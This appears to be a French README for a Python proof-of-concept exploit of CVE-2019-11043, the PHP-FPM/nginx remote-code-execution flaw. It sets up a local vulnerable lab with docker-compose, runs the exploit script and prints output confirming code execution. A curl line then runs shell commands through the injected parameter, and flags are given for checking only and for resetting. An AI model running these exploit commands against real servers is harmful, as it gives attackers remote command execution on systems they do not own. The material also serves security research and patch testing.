
(PoC) Version Python de l'exploit CVE-2019-11043 par neex
Une version Python de l'exploit CVE-2019-11043 https://github.com/neex/phuip-fpizdam
Ce PoC est encore un brouillon, veuillez utiliser l'exploit écrit par @neex
Analyse de la vulnérabilité : https://paper.seebug.org/1064/
Il suffit d'exécuter docker compose pour démarrer nginx et php-fpm :
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
si vous souhaitez lire les logs php-fpm, vous pouvez exécuter :
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
Si vous souhaitez uniquement vérifier la vulnérabilité, sans exécuter l'exploit :
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
Vous pouvez essayer de tuer le processus php-fpm et de réinitialiser tous les paramètres PHP injectés avec --reset :
python3 exploit.py --url http://localhost/index.php --reset